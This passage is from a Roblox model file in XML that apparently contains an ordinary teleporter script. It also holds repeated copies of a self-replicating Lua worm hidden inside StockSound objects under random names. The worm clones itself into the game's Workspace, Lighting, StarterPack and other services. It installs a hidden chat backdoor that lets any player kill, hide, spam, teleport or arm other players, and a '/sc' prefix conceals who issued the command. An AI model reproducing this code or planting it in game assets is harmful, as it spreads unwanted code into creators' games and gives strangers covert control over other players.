pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX897">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">l6h7</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX898">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">46qh</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX899">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-129</X>
						<Y>66.4000015</Y>
						<Z>7</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">tele2</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>1.20000005</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX900">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">--Enter the name of the model you want to go to here.
------------------------------------
modelname=&quot;tele1&quot;
------------------------------------

function onTouched(part)
	if part.Parent ~= nil then
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
		if h~=nil then
			local teleportfrom=script.Parent.Enabled.Value
			if teleportfrom~=0 then
				if h==humanoid then
				return
				end
				local teleportto=script.Parent.Parent:findFirstChild(modelname)
				if teleportto~=nil then
					local torso = h.Parent.Torso
					local location = {teleportto.Position}
					local i = 1

					local x = location[i].x
					local y = location[i].y
					local z = location[i].z
				
					x = x + math.random(-1, 1)
					z = z + math.random(-1, 1)
					y = y + math.random(2, 3)

					local cf = torso.CFrame
					local lx = 0
					local ly = y
					local lz = 0
					
					script.Parent.Enabled.Value=0
					teleportto.Enabled.Value=0
					torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
					wait(.1)
					script.Parent.Enabled.Value=1
					teleportto.Enabled.Value=1
				else
					print(&quot;Could not find teleporter!&quot;)
				end
			end
		end
	end
end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX901">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">5p7nta9</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX902">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">pzlvrubni</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
